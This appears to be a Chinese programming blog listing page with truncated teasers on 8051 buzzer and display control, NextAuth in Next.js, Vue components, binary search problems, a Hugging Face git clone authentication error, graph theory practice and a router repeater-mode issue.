
单片机:实现蜂鸣器数码管的显示(附带源码)

单片机实现蜂鸣器数码管显示 蜂鸣器和数码管在嵌入式系统中广泛应用。蜂鸣器可以发出声音警告或提示&#xff0c;而数码管则用于显示数字或字母。在本项目中&#xff0c;我们将通过8051单片机实现一个控制蜂鸣器和数码管显示的系统&#xff0c;结合使用蜂鸣器和数码管&#xf…...

Next.js v15-基于NextAuth进行身份验证

NextAuth.js 抽象化了管理会话、登录和注销以及身份验证的其他方面所涉及的大部分复杂性操作。虽然您可以手动实现这些功能&#xff0c;但该过程可能非常耗时且容易出错。NextAuth.js简化了流程&#xff0c;为 Next.js 应用程序中的身份验证提供了统一的解决方案。 步骤 通过…...

解锁Vue组件的奇妙世界

文章目录 一、Vue 组件概述&#xff08;一&#xff09;什么是 Vue 组件&#xff08;二&#xff09;Vue 组件的优点 二、Vue 组件的创建方式&#xff08;一&#xff09;全局注册&#xff08;二&#xff09;局部注册&#xff08;三&#xff09;单文件组件&#xff08;SFC&#xf…...

二分查找【Lecode_HOT100】

文章目录 1.搜索插入位置No.352.搜索二维矩阵No.743.在排序数组中查找元素的第一个和最后一个位置No.344.搜索旋转排序数组No.335.寻找旋转排序数组中的最小值No.153 1.搜索插入位置No.35 class Solution {public int searchInsert(int[] nums, int target) {int l 0;int r n…...

解决git clone时报错“authentication failed for huggingface repository”

问题1&#xff1a; 已经获取了模型的授权&#xff0c;但是git clone时&#xff0c;弹出弹窗 输入huggingface的用户名和密码后&#xff0c;报错如下 解决方式1&#xff1a; 阅读红框标注的说明&#xff0c;“password authentication in git is no longer supported.”&#…...

力扣-图论-16【算法学习day.66】

前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向和记录学习过程&#xff08;例如想要掌握基础用法&#xff0c;该刷哪些题&#xff1f;&#xff09;我的解析也不会做的非常详细&#xff0c;只会提供思路和一些关键点&#xff0c;力扣上的大佬们的题解质量是非…...

【异常】GL-SFT1200路由器中继模式,TL-CPE1300D无法搜寻5G网问题分析

【异常】GL-SFT1200路由器中继模式,TL-CPE1300D无法搜寻5G网问题 情况实验结论情况 在用GL-SFT1200路由器切换中继模式时,由于web密码忘却,需要重置,但根据官网使用手册,或者对应的中文版手册,重置失败。通过跟商家联系,进行uboot刷机,提供了指导文档,尝试后刷机成功…...